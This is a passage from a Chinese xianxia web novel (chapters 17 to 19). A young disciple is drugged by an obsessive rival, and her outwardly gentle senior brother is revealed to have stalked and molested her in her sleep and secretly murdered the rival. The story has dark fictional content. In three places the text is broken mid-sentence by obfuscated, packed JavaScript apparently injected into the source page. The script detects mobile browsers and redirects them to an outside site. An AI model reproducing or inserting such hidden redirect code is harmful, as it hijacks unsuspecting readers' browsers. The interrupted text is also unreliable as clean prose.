前世宁汐也不是没试过劝说羽叔叔取消婚事,但后者以一种封建大家长的心态,认为父母之命媒妁之言,感情没有可以成了婚再培养。 当时宁汐听了就很无言。 如今重活一辈子,她可不想再重蹈覆辙。 于是她后退一步,手里扫把一挥。 赫连为猝不及防,被扬起的尘灰呛住,猛地咳嗽起来。 宁汐再接再厉,将手里的扫把舞得虎虎生风,大声道:“哎呀好大的风!赫连二公子还是去避一避吧,免得扫起来的尘灰弄脏了您的衣裳!” 赫连为额上爆出一根青筋,张口想说什么,立刻又被尘灰涌进了喉咙,一时之间咳得涕泪俱下,竟是半句话都说不出来。 趁他被尘土飞扬包裹、一时上不来前,宁汐返身一扭,逃走了。 她不知道赫连为从哪里听说了她的名字,还巴巴地找了过来同她对质,但在解除婚约之前,她不想再和这人见面。 真是讨厌,方才和赫连为凑太近,身上还染上了一点他的味道。 世家公子都惯用熏香,也不知道赫连为用的什么香料,味道这么霸道,宁汐在原地用手扇了好一会风,那令人不适的香味也没有散光。 干了半日活,才是午后,日头高照,宁汐身心俱疲,干脆找了个僻静的小树林钻了进去,爬到一株老樱树上,舒舒服服地蜷成一团,闭眼打盹。 日光和煦,春风湿暖,白樱清香。 没一会,她就睡着了。 半梦半醒之间,似乎有什么东西在轻轻嗅闻自己的面颊,湿热、黏腻的吐息喷薄在面颊上。 耳畔响起沉重的呼吸声,那东西几乎是贴着她的耳廓在喘。 宁汐想睁开眼睛,可是眼皮却沉得很,怎么也睁不开,仿佛被鬼压床,身上被沉重的躯体死死压着,令她动也不能动。 她的心脏砰砰狂跳,是躲藏在白玉京的妖物吗?不会把她吃掉吧! 因为目不能视,其他感官就更加敏感,粗重的喘息,衣料摩擦沙沙作响,潮湿的热气喷薄在她的面上,鼻尖萦绕着越来越浓的白樱花香。 那东西在她耳边喘了一会,热气缓缓下移,擦过少女珍珠般的耳垂,皎洁的面颊,纤细的脖颈,然后拱开了衣领,什么冰凉而挺直的东西重重蹭了一下她的颈窝。 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669074|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐的头皮瞬间炸起来。 什么妖物,贴着她脖颈的分明是鼻梁——那是个人! 她很想翻身坐起,暴打这个光天化日之下就敢轻薄自己的登徒子,可是她才稍微挣扎了一下,身上的人就骤然发力,一把掐住了她的双手,紧接着大力拉高,摁在头顶。 这人的力气好大! 宁汐怀疑过不了一会,她的手腕上就会被掐出淤青。 攥住她手腕的手指浑像刚刚从冰水里捞出来的,又湿又凉,宁汐被激起了一片鸡皮疙瘩。 颈窝处又传来热意,那人似乎又贴了上来,鼻息之间的热气一股股往她衣领里钻,激起她一片鸡皮疙瘩。 身上的人自始至终没有说话,却似乎渐渐兴奋起来,呼吸越来越重、越来越急促,到后来几乎像是在贪婪地吞嗅她身上的味道。 宁汐以前在人间流浪时见过吸食了五石散的瘾君子,药瘾发作时就类似这种癫狂情态。 她毛骨悚然地心想这人该不会是磕多了,要知道人脑子不清楚的时候做什么都不奇怪……直接在这里杀了她也不奇怪。 然而下一刻,身上的负重、犹如毒蛇吐信一样的喘息兀然消失。 宁汐感到一阵轻松,立刻睁开眼睛。 一片白樱缓缓飘落,清风拂过树梢,阳光如碎金,洒满林间。 她不信邪地跳下老树,拎着裙角跑了一圈。 什么都没有。 撞鬼了? 宁汐纳闷地检查自己的手腕,有点红肿——可那说不准是睡觉时被压出来的睡痕还是别的。 微风习习,吹起裙摆,宁汐却打了个哆嗦,不想在这个地方多待。 她逃也似的回了怀照峰,飞快地将门窗关死,又蹬掉鞋袜,钻进罗汉床。 有了被窝当“结界”,宁汐砰砰直跳的心脏才逐渐平静下来。 胡思乱想停不下来,熬到后半夜,传音玉简突然响了。 居然是卫书。 他怎么会主动给自己发传音? 宁汐讶异扬眉,连白天疑似撞鬼的事情都顾不上想了,点开那条传音。 “你想知道关于大师兄的秘密吗?” 宁汐:……好强的诈骗小广告既视感。 她回复:卫管事,你被盗号了? 那边默然一会,直接发过来一段留影。 宁汐正担心这东西会不会有病毒,那段留影就开始自己播放了。 画面模糊不清,光线暗淡,晨昏不分,也不知年岁。 手持留影珠的人应该是躲藏在某个建筑物的角落。 壁画重彩,香炉描金,半敞的窗外依稀可见古松苍苍,宁汐没见过这地方。 但下一刻,画面边缘,出现了一道熟悉的缀金边八重樱月白身影。 大师兄? 留影珠的画面立刻对准了裴不沉,他手里提剑,背对着留影珠的视角,站在一张绣着牡丹的屏风。 这下宁汐才看仔细,发觉了不同:留影里的大师兄明显小了一号,约莫十四五岁的模样,手里提的不是逐日剑,剑柄上也没有挂着上次宁汐见过的晴天娃娃。 大师兄在干什么? 屏风后似乎有人在生病,一直在低低地咳嗽。 裴不沉就这么站着,一直没有动作,画面里也一直没有人说话。 宁汐在床上翻了个身,给卫书打字:你就让让我看这—— 最后一个字打到一半,留影中的小裴不沉突然动了。 他走到屏风背后,影如皮戏。 长剑刺罗床,血溅牡丹屏。 17. 陷阱 留影戛然而止。 洞府内一片黑暗,只有传音玉简还在微微发着荧光。 宁汐昏头涨脑地又将那留影看了一遍,还是没捋出头绪。 这东西是什么意思?卫书发这个给她干什么?这就是大师兄的秘密?他在里面杀了谁?这留影是真的吗? …… 一连串问题水泡似的冒出来,然而没等她想出个所以然,卫书的消息又跳出来了:“想知道的话,明日戌时,外门峰弟子居,你自己一个人来。” 宁汐皱眉。 终于图穷匕见了啊。 卫书果然还是想报复,为此才特地发了这段意味不明、真假不知的影像,想骗她单人赴会。 宁汐用脚指头想都知道,明天午后的外门弟子所里肯定有埋伏等着她。 哼,八成之前那个在深夜跟踪自己的家伙也是卫书吧!现在终于露出马脚了。 “好。”她敲下回复,然后转头把这段传音记录保存,设置群发-定时发送。 如果明日戌时三刻后她还回不来,整座白玉京就会知道是卫书把她绑走了。 她又把贴身放了很久的水果刀掏出来磨了磨,确保吹发可断。 做完充足准备,宁汐安心地闭上眼。 * 黄昏逢魔时,宁汐怀揣尖刀,推开弟子居虚掩的木门。 里头只点了一盏油灯,灯火如豆,火苗随着推门涌进来的风摇摆了一下。 “你倒是来的很准时。” 许久没见的卫书坐在木桌边,一看见她,面容变得扭曲。 宁汐拖了一把椅子,隔着他远远的才坐下,她还特地没有关门,这样只要有人经过,就能看清屋里发生的一切。 卫书似乎知道她心里在想什么,不阴不阳地怪笑了一声。 “这么防备也要来听大师兄的秘密……你对他可真是情深意切啊。” 宁汐没搭腔,只道:“那段留影到底是什么意思?” 卫书目光怨毒地盯着她,一言不发。 若是眼神能化成刀子的话,宁汐毫不怀疑自己已经被卫书割成千条万片了。 卫书自顾自地拿起茶壶,给自己倒了一碗茶水,一饮而尽。 他又倒了一杯,搁在桌上,宁汐很明智地没有去碰。 等到茶汤放凉,卫书突然道:“你喜欢大师兄哪一点?” 宁汐:……我说我不喜欢大师兄,你信吗? “我知道!”卫书骤然打断宁汐的欲言又止,“你,还有其他头脑空空的女人都一样!就只是贪图他的样貌,喜欢他的温柔,觉得他是那样可靠安心……有时候,只要他肯冲自己笑一笑,就巴不得把自己整副心肺都挖出来献给他……” “可是你们懂什么!” “大师兄、不沉师兄他那么特别,那么……完美,你们这些贱人怎么可能懂得真正的他是什么样!” 卫书的声音本来就阴柔,说到后面几乎变得尖利。 他豁然起身,脸上癫狂的情态在烛火下一览无余。 先前他被裴不沉拧断的右手还没有复原,上头的指甲也涂得斑驳,胳膊耷拉着垂在身侧,随着他说话愈发激动而不住地前后摇摆。 桌椅被猛地推开,拖在地面发出刺耳的“滋啦——”,卫书拖着一条瘸腿,一拐一拐地朝着宁汐靠近:“我绝不让你这贱人毁了大师兄!” 宁汐张口结舌:她知道白玉京内人人都钦佩裴不沉,可狂热到卫书这样的还是头一遭见! 顾不上卫书的满口胡话,宁汐掏出小刀,瞅准机会扎向卫书的脚,后者惨叫一声,脚掌被钉在地面,一时追不上了。 她就趁着这个机会转身就跑,结果刚到门边,双膝一软。 电光石火间,宁汐突然意识到是哪里不对——她还是大意了。 茶汤可能有问题,但那只是障眼法,是为了掩饰灯火中掺杂的迷香。 该死! 她不甘心地昏了过去。 * 宁汐猛地睁开眼。 熟悉的床幔,这是怀照峰的洞府。 她发了一会呆,伸手掐住自己的脸颊。 好疼。 不是做梦。 所以是怎么回事? 她不是被卫书给迷晕了吗? 她坐起来,身上也没有什么异样。 宁汐将自己脱了个精光,掘地三尺一般,每个角落缝隙都检查一遍,发现自己居然从头到脚、连一点油皮都没有破。 宁汐第二次开始怀疑自己撞鬼了。 她重新把衣裳穿好,掏出玉简,更诧异地发现上面自己和卫书的传音记录也消失了。 玉简干干净净,仿佛她此刻空白一片的大脑。 难不成是做噩梦? 可未免也太真实了一点。 宁汐在原地枯坐片刻,穿好鞋袜,换上外袍,出了门,一路走到人多的外事堂。 外事堂负责向外门弟子发布值事任务,素日人来人往,今日却是门可罗雀。 宁汐抓过一个面色惶惶的弟子,行了个礼:“请问师姐有没有看到卫管事?” “不知道呢。昨夜残余妖物偷袭白玉京,死伤了好多弟子,还有许多人失踪了,现下都没找到人。” 妖物偷袭白玉京?宁汐一愣,那就是自己被卫书迷晕之后发生的。 她还想细问,师姐却拍了拍她的肩,低声告诫:“不知道宗门里是不是还有妖物躲着,这几日要是没什么事就别出门了,外头危险。” 宁汐心神不宁地回了怀照峰,最近发生在她身上的怪事一桩接着一桩,她再迟钝也不能视而不见了。 犹豫再三,她拿出传音玉简,给裴不沉发了一道密音:“大师兄在吗,我是宁汐,有些事想问问师兄。” 意料之中,裴不沉没有立刻回复。 也对,最近又有妖物作乱,他应该很忙。宁汐放下玉简,盘腿坐在床上发了一会呆,就听见玉简“叮铃”响起。 拿起来看,却不是裴不沉的回音,是宗门论坛内传的一小段留影,标题是《点击就看热辣师兄在线杀妖!》 宁汐:…… 点进去一看,居然是某个胆大包天的弟子,趁着裴不沉昨夜杀妖时偷偷留了影。 大师兄半边月白袍都洇了紫色的妖血,刚刚砍下一只狼妖的头颅,手中灼日剑轻松地挽了一个剑花,剑柄挂着的晴天娃娃微微晃荡。 他不在意满身血污,却对那娃娃十分爱惜,没让它沾上一点血渍,还小心地从怀里掏出一方素袍,将娃娃包起来收进怀里。 留影之人小声嘀咕:“大师兄这娃娃到底哪来的,好丑。” 宁汐:…… “这么丑,还这么宝贝,难不成是定情信物?” 正胡乱揣测间,留影中的裴不沉似有所感,抬眸看来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669075|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留影“啪”地一下关闭了。 宁汐的心脏砰砰直跳。 刚才她隔着玉简,与裴不沉对上了眼。 依旧是黑沉无光、眼底青黑,素日大师兄温和底下总带着一点疲倦和漫不经心,只是刚才那一眼,可能因为他才杀完妖,浑身的杀性尚未完全褪去,眼里还染了几分疯狂和冷漠。 这样的大师兄,有点陌生,又让她想起那次她向他求助、他却直接拧断卫书指骨时的模样。 “宁师妹。” 裴不沉的声音猝然在耳边响起,宁汐吓得差点把手里的玉简丢出去。 对方似有所感,声音里带了笑:“抱歉,吓到你了?” 宁汐摇头,又意识到现在是在传音入密,他看不见,于是赶紧道:“无妨。师兄现在有空吗?” 裴不沉:“可能没空呢。师妹有很重要的事情吗?” 宁汐用手指抠床单上的绣花:“也没什么重要的……” 裴不沉:“那就过几日再说吧。我现在正忙,先挂了。” 宁汐才“嗯”完,裴不沉就结束了传音入密。 她又开始抠床单上那朵缠枝牡丹。 本来是打算同裴不沉说她这几日遇到的怪事,可既然大师兄分身乏术,那还是她自己想办法吧。 * 裴不沉放下传音玉简,静室内没有燃灯,只有玉简发出的灵光微微闪烁。 他站起身,将手浸泡在铜盆内,清澈温热的水流漫过手背,他情不自禁打了个哆嗦。 在用素帕擦干手掌时,他回想起捏断那姓卫的人脖颈时的触感,血液温热、粘稠,源源不断地涌出来,打湿了他的掌心,滴滴答答地落在地上。 那人还在皮肤上敷了厚厚一层白粉,他将尸体丢开以后,滚落的面颊蹭到他的脚边,在雪白的靴面留下一道肮脏的粉印。 裴不沉接到卫书的传讯,赶到外门弟子所时,宁汐正好被迷晕过去,瘫在地上,而卫书没有动她,只是坐在案桌边,见到他来,眼里陡然射出两股精光。 “大师兄,我一直在等你。”卫书道。 裴不沉试了一下宁汐的鼻息,确认她还活着,才抬头看那外门弟子。 卫书看清他的表情,脸上的狂喜换成了惊恐,随即又转为暴怒和不甘:“大师兄为什么这么看我?!我做这些都是为了你啊!” 裴不沉不语。 卫书却猛地朝他扑了过去,跪倒在地,两只手死死地抓住他的衣摆:“天枢三十年,人间洪水,大师兄下山试炼,曾经路过一个名为盖沟坝的村庄——大师兄记不记得?!” 裴不沉淡淡道:“喔。” 卫书却仿佛浑然没有感受到他的冷漠,自顾自继续道:“那年大师兄杀了为祸村里的狼妖,救了我们一村百姓……自那时起,我就想拜入白玉京,当你的师弟。” “……去白玉京的路那么长,那么难,可是我还是来了,站在这里。虽然我只是个外门弟子,可我有鹤凝师姐照拂,还当上了外门掌事,我想,修仙之途漫漫,岁月悠长,有朝一日大师兄一定能看见我……可大师兄从未赏赐过我一个正眼。” 染着鲜红蔻丹的十指死死掐住月白的锦袍,指尖殷红,几乎要戳出几个血洞来。 “虽然大师兄不曾真正看过我,可我很了解大师兄。”卫书突地发出了桀桀怪笑,“无人处,深夜里,暗影中……大师兄有没有感受到,我一直在看着你?” 18. 屏风 裴不沉看他的目光像是在看一个死人:“你到底想说什么?” 卫书幽幽道:“没有人比我更了解大师兄,他们都不知道你是什么样的人,他们还真的以为大师兄就是那样温和宽容、如同仙子下凡一样的圣人……” “可是我知道,只有我知道!因为我们是一样的!我知道大师兄隐藏得很辛苦,我们这种人,只能像过街老鼠一样躲藏,掩饰本性——” “那只是你而已。”裴不沉截断他的话,“我和你这种东西,不一样。” 他露出一个微笑来:“我不需要掩饰。” 卫书愣神一瞬,惶惶然道:“可若是有人看到大师兄你在暗地里做的——” “他们看不见的。”裴不沉截然打断,声音温和,却无端带着森凉寒意,“没有人会相信你。” 卫书僵在原地,意识到什么,面容加倍扭曲:“大师兄就不怕我也把你的事情告诉那姓宁的小贱人?!” 下一刻,裴不沉一手捏住他的下巴,另一手两指如钳夹住他的门牙用力一拔。 随着鲜血飚出,卫书发出一声惨绝人寰的尖叫,却立刻被裴不沉死死捂住了嘴。 滚烫的鲜血浸湿掌心,从指缝中漏出来,裴不沉半蹲在他面前,黑黝黝不见光的眸子直视他,又似乎没有在看他。 “嘘。”他轻声道,“干坏事的时候可不能出声,否则会被发现哦。” 卫书痛得涕泪齐下,可他居然还是顺着裴不沉的话,自己抬手捂住了嘴。 等裴不沉松手,卫书才含混不清地哽咽道:“我是、我是在帮大师兄啊!迟早有一天那贱人会知道你做了什么,她会告诉别人大师兄你跟踪的事情,还有昨天午后樱花林里你对她——” 咔嚓—— 裴不沉终于失掉耐心,捏断了他的颈骨。 满是鲜血的手从卫书怀里掏出玉简,点进与宁汐的传音,看到那段留影时,裴不沉的眼睫颤了一下。 他又从宁汐的袖子里拿出玉简,同样删掉了所有传音,包括那段留影。 …… 回忆结束,裴不沉重新坐回桌前,提起笔,在记录昨夜因妖物袭击死伤弟子的名录下添加了卫书的名字。 * 一连三日,宁汐都没再见到大师兄。 但她很快没再为此事纠结了,有件更令她诧异的事情摆在了眼前——公布出来的意外死伤弟子名录赫然写着卫书的名字。 宁汐揉了揉眼睛,确定自己没有看错。 名录上记载卫书死于十一月二十三日,正是她被迷晕之后的第二天。 卫书是练出了影分身还是怎么的,怎么能一边绑架她一边跑去变成妖物的腹中餐? 宁汐满腹狐疑,却无人可诉,只能先把种种猜测都按捺下去。 她没有为卫书哀悼,毕竟当初卫书要害她这一点确凿无疑。 而且还有一件好事,自从卫书死后,那时不时出现在宁汐身后的跟踪者也随之消失了。宁汐还试探性地在上次“撞鬼”的白樱林里假寐了几回,也没有再碰到奇怪的事情。 一想到之前跟踪自己的人可能是卫书,宁汐就觉得浑身不适,跟皮肤上爬满了蚂蚁似的。 她恶寒地搓了搓手臂,才合上死亡弟子名录,去领今日的值事。 卫书不在,新来的管事是个正直的长老,也没在值事安排上为难她,见她人长得瘦小,便给她圈了轻松的一块活计。 “你去掌门夫人居吧,那里正好缺了一个侍女,在新来的侍女到位之前,你先顶上去过渡。” 宁汐应了声,跟着领路的师姐去夫人居。 师姐回头看了她一眼,几次三番欲言又止,最后小声道:“师妹这头发带卷,是天生的?” 宁汐点头。 师姐忧虑地看着她,最后走到门边时还是忍不住提醒了一句:“掌门夫人不喜欢卷发的女子,师妹在里头服侍……最好小心些。” 她留下这么一句意味不明的警告,便逃也似的离开了,剩下宁汐呆呆地站在原地。 从前住在外门弟子所时,其他弟子闲时都爱聊宗门内的八卦秘闻,宁汐耳濡目染,也听过有关这位掌门夫人的只言片语。 掌门夫人名叫尉迟今禾,据说出身高门,年轻时却不顾家里的反对,毅然决然与彼时家中落魄的裴清野成亲,婚后不到半年就生下了裴不沉。后来裴清野诛妖有功,复兴白玉京,名声显赫也没想过纳妾,夫妻之间情谊甚笃,一时传为佳话。 只可惜尉迟夫人身体不好,常年卧病在床。尤其裴掌门去世之后,她更是重病不起,基本上一年到头也不会出来见人,像宁汐这类外门弟子对她的了解就更少了。 师姐说尉迟夫人不喜欢带卷发的女子,是什么意思? 宁汐摸了摸自己的发稍,心想总不能临时让她回去找个发匠把头发拉直吧。 ……算了,不管这么多。她只是个打扫卫生的,说不定根本见不到尉迟夫人的面呢。 宁汐心宽地抬步进了掌门夫人居,一进门便闻到了浓重的熏香味,其中还夹杂着淡淡的清苦药香。 看来传闻中尉迟夫人身体不好是真的。 屏风后设着一张罗汉床,看不清上头是否有人。 宁汐拿着扫把,尽职尽责地开始扫地。 扫帚枯枝划过青石地面,沙沙作响。 扫到屏风下时,扫帚勾到了什么东西,在地面划拉出粗粝的一声响。 宁汐弯下腰,从底下捡起一片碎瓷片。 青花纹,边缘锋利,带着干涸的粉色水渍。 鬼使神差一般,宁汐把这片碎瓷在自己掌心比划了一下,惊觉和那日裴不沉手掌受伤的情形一模一样。 可是大师兄分明说他被摔碎的茶杯不小心割伤的…… 罗汉床后,突然有人低低咳嗽起来。 宁汐吓得后退几步,凝神往屏风后瞧。 这下,她才看清了织绣屏风上头的大红牡丹。 强烈的熟悉感让宁汐骤然想起那天卫书发给她的留影,里头也是这样昏沉古朴的大屋子,也是一座朦胧的牡丹屏,小裴不沉就站在屏风后,提剑刺去—— “是新来的侍女?”一道有气无力的女声自屏风后传来,“怎么粗手粗脚的。” “回夫人话,新侍女还没教好呢,先让外门峰的找了个洒扫弟子顶上暂用。” “原来是这样。”尉迟今禾的声音极好听,如婉转莺啼,若是只听声音,还以为是个正当妙龄的二八少女,“我要午睡,让她下去吧,省得吵到我。” 从屏风后钻出的侍女便朝宁汐摆手,示意她快点退下去。 宁汐头昏脑涨地行了个礼,走到门边,却忽然被叫住:“你等一下。” 她转过身,尉迟今禾正好从屏风后绕了出来。 尉迟今禾尚在病中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669076|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却还是一丝不苟地梳了发髻,衣裳也穿戴得整齐,妆容精致,是个气质高华的美人,只可惜沾染病气、脸色清灰,减损了颜色。 她其实和裴不沉生得不怎么像,唯独那双黑沉沉的柳叶眼,却能让人一眼看出二人的血脉联系。 除此之外,比起裴不沉的温和有礼,尉迟今禾显然孤高许多,看向宁汐的眼里掺杂着毫不掩饰的厌恶:“谁让你把头发弄成这样过来的?” 宁汐一下子幻视学堂里管生活纪律的夫子,半晌,才讷讷道:“我回去便剪了。” ——才怪。她只是不想和尉迟今禾起冲突而已。对方是掌门夫人,还是大师兄的亲生娘亲,宁汐没道理同她对着干。 尉迟今禾凉飕飕地打量她一眼,忽然道:“你姓什么,爹娘呢?” 宁汐:“我姓宁,父母——” 她话没说完,就看见尉迟今禾的脸色骤然变了,仿佛听见了什么最恐怖的事情,大步上前,尖声喝问:“你姓宁?!” 宁汐还没来得及应,尉迟今禾忽地将她重重推倒在地,凄声尖叫:“杀了她!杀了她!” 殿内顿时一片混乱,侍女匆匆将尉迟今禾拖开,唤另一人道:“夫人又发病了,快去寻医修来!” 宁汐呆呆地坐在原地,看着她们手忙脚乱,不知道自己该做什么。 一个小侍女经过她身边时险些被她绊倒,见她还没动作,干脆一把将宁汐拉起来往外拽:“赶紧走吧,夫人要是清醒过来又要大发雷霆了!” 宁汐懵懵懂懂地跟着她往外走:“夫人以前也这样犯病吗?” 那侍女见宁汐长得可爱无害,忍不住就多说了一些:“可不是,成亲前就有的老毛病了。这几年裴掌门不在了,夫人相思成疾,情况越发严重了,人也认不清,动辄打骂,每日都得闹上几回呢。” 她又压低了声音:“你以为你顶的侍女空缺是怎么来的——前一个侍女就因为给少掌门送了条包扎的纱布,就被喝令拖出去活活杖杀了!” 宁汐睁圆了眼睛。 侍女后知后觉过来自己说得太多,便不愿意再继续讲了,快步将宁汐送到门外:“好了好了,你赶紧走吧,之后夫人应该也不会叫你过来洒扫了。记住,以后没什么事别到这里来。” 说完她就走了,宁汐一个人在原地心乱如麻。 她试图厘清自己的思绪:首先,根据今日所见对比卫书发给她的留影,十有八九就是在这个地方,小裴不沉提剑刺了人……只是那被刺的对象…… 宁汐心里浮现出一个大胆的念头:该不会是尉迟夫人吧?毕竟,除了她之外,还能有谁躺在那张罗汉床上? 可是大师兄为什么要这么做?无论前世还是今生,宁汐从没听说过大师兄母子不睦,何况骨肉相残。 ……但真的不可能吗? 今日发现的第二件事,便是那枚遗落在地的青花瓷碎片。大师兄应该就是在这里受伤,却对她说了谎。 越想,宁汐越糊涂,感觉脑袋上都要冒烟了,只好暂且闭目养神,一边用手呼呼地给脸颊扇风, 黑暗的视野中,突然,一只冰凉柔软的手贴上了她的额头。 裴不沉的声音在她的头顶响起:“师妹这是在做什么?” 宁汐蓦地睁开眼。 裴不沉正站在她面前,垂眸看她,手指状似无意地拨了一下她的眼睫,噙了笑:“……脸还这么红。” 19. 雨夜 她脸红了吗? 宁汐困惑地揉了揉自己的脸,殊不知在裴不沉看来,此刻的她跟用爪子洗脸的幼兔没什么两样。 于是他更愉悦了:“师妹今日在此处值扫?” 宁汐摇头:“是掌门夫人居。” 裴不沉顿了一下,收回手:“已经扫完了?” “没有……夫人突然发病,我就出来了。” 裴不沉蹙眉:“你们见过面了?” 宁汐点头。 “这样啊。”裴不沉颔首,见她一脸不安,又笑了,“既然今日无事,师妹就当多放半日假,去玩吧。” 他说着,将手放在她的脑袋上,虚虚悬着,似乎在纠结,最后还是没控制住,在她双眼亮闪闪地注视下,轻轻揉了揉宁汐的脑袋。 * 说是去玩,但其实也无处可去。 宁汐本来想请大师兄和自己一道去藏书阁,可以请教一些有关修炼的入门诀窍,但他似乎很忙的样子,匆匆同她说过几句话,便又走了。 她远远瞧见他赶去的方向正是掌门夫人居,应该原本就是要去那里,只是看见了她所以才中途停下来。 她想到之前卫书,心里又沉重起来,她犹豫片刻,拿出玉简,联通了林鹤凝的传音阵,斟酌语句,然后将讯息发了过去。 不出意料,传音石沉大海。 偷得浮生半日闲,宁汐不想浪费大好时光,于是抱着扫帚,找了块没人的空地,盘腿坐在青石上,开始练习吐纳灵气。 夺天地间灵气,先炼化七阴五阳之气,然后内外交融……* 她回忆着在书上看到的内容,感应天地,引气入体。 兴许是早已在心中演练过数百遍,真正实践起来时意外地顺畅。不多时,宁汐就觉得一股暖流自小腹冉冉升起,随即沿着经络奔向手足,最后脑袋顶上一阵阵的发热。 …… 日落月升,等到宁汐再次睁开眼,已经汗如出浆,后背的衣裳都被打湿大半。 她抬袖抹掉鬓角的汗水,悠悠吐出一口浊气。 今日进展不错,她成功打通了一半以上的关窍,只可惜最核心的灵府还是犹如泥塞土堵。 不过短时间内能有这样的结果,她已经很满意了。 宁汐从青石上跳下来,活动手脚,感受着晚风习习,只觉一阵轻松。 修炼过后,腹中饥饿尤甚,宁汐朝着膳食堂走去,一路上许多人同她逆行。 正是晚膳时分,这些人却背离膳食堂的方向,脚步匆匆,一脸凝重。 宁汐没管别人,她素来就是个寡淡的性子,不以物喜不以己悲,只顾埋头吃眼前饭。 到她用完晚膳,膳堂已经空空如也,也不知道人都跑哪去了。 宁汐吃得有点撑,于是决定散步前往藏书阁,消消食,顺便把今日练气的心得与难点及时记录下来,俗话说好记性不如烂笔头嘛。 慢慢溜达过去,藏书阁里也是冷冷清清,正好空出了许多位置任宁汐随意挑选。 温书到后半夜,乌云遮月,窗外淅淅沥沥下起了雨。 潺潺雨声,春意阑珊,正是乍暖还寒时候,雨水夹带潮气吹进窗棂,宁汐搓了搓手臂上冒出的鸡皮疙瘩,半起身去关窗子。 窗外雨幕朦胧,水滴浇落花枝,一片粉白泥泞,晶珠挂檐,细流如线。 竹帘晃动,忽地罩下一道阴影。 宁汐没看清那人是谁,下意识想要出声询问,却被他捂住了嘴。 “师妹,是我。” 居然是裴不沉。 他似乎是从某个很远的地方赶来,半边身子都被雨水打湿了,发丝黏在脸上,还有水珠顺着他的鼻尖、眼睫一滴一滴往下淌。 他的脸色青白,唇也发灰,表情在暗夜中模糊不清,唯有一双黑沉沉的眼珠子直勾勾地看着她。 他的眼神似乎与平日不大一样,很亮,又……没等宁汐想出具体是什么区别,裴不沉一只手摁在了她想要关窗的手背上。 那只手冰得刺骨,宁汐不自觉打了个哆嗦。 裴不沉摁着她的手,缓缓把窗子撑开:“别关窗。” 宁汐困惑地抬头望着他:“大师兄是有话要同我说吗?要不进来说吧,你的头发都湿了。” 说着,她就掏了帕子想递给他,裴不沉却躲开了。 他不肯进屋子,却又站在窗边不肯走。宁汐不知道他深夜来这里是做什么,是温书吗,不像。 难不成是来找她,可他怎么知道她在这里? “大师兄?”宁汐又唤了一声,拿捏不准要不要自己出去,好歹帮他撑一把伞。 看他淋雨受冻,都开始打颤了。 裴不沉没有应,他似乎处在某种无法解除的境界之中,依旧一眨不眨地盯着她,眼里有困惑,又有莫名的打量戒备,似乎是极大的痛苦,可又掺杂着癫狂的喜悦…… 他忽地俯身上前,一只手落在宁汐脖颈,骤然发力掐紧。 宁汐喉间一窒,呼吸不畅,她眼前一阵发黑,剧烈挣扎起来,手指死死抠住裴不沉的手腕。 裴不沉突然松手,宁汐双腿一软,跪坐在蒲团上,疯狂咳嗽起来。 “抱歉。”裴不沉平静道,朝她摊开手掌,展示给她看掌间的一抹血痕:“方才有只飞蛾趴在你脖颈上。” 宁汐捂着脖子,一时不知该说什么,只好道:“谢谢。” 裴不沉很古怪地笑了一声。 一时沉默。 窗外风雨不绝,飞花漫天,裴不沉静静地站在窗边,鸦发飞扬,偶尔发稍划过了宁汐的脸颊,又湿又冷。 “师妹有丧服吗?”他突然问。 宁汐被他问呆了,但还是下意识想了一下,摇头。 修士寿元长久,一般都不会备着这东西。 “那准备一套吧。”裴不沉淡淡道,“很快就要用上了。” 宁汐一头雾水,可裴不沉看起来没有打算向她解释的意思,转过身,月白身影消失在雨夜里。 大师兄怎么越来越像个谜语人。 宁汐摸了摸被他握过、雨水打湿的手背,冻得龇牙咧嘴。 要不还是找个机会见他一面,把这些日子桩桩件件都问个清楚。 然而次日,宁汐就不需要再追问他了,因为一个消息传遍了白玉京和各大仙门—— 掌门夫人尉迟今禾病逝了。 * 白玉京,主事殿后的小巷。 赫连为抱着胳膊靠在墙边,有一搭没一搭地玩着手上的玉扳指。 一沓脚步声由远及近,停在他身前。 赫连为斜向上挑起眼,看向林鹤凝:“你找我?” 他与林鹤凝相识于一次宗门联合试炼,所有金丹期以下的弟子都要前往归墟秘境捉妖。林鹤凝在那次弟子试炼中遇到了一点麻烦,赫连为正好路过,便顺手救了她一把。 以此为契机,林鹤凝便开始帮赫连为探听白玉京内的消息,成了半个内应。 只是从前为免遭怀疑,林鹤凝都只肯用传音玉简与他联络,还是阅后即焚,如何今日却坚持要与他面谈? 林鹤凝盯着他,尾音颤抖,难掩愤怒:“你骗我!你分明说只是在剖心锤上做一道小伤口,至多是皮肉伤,不会真的伤到人!” 赫连为懒洋洋道:“那又怎样?你最亲最爱的大师兄最后不是好端端的,死的又不是他。” 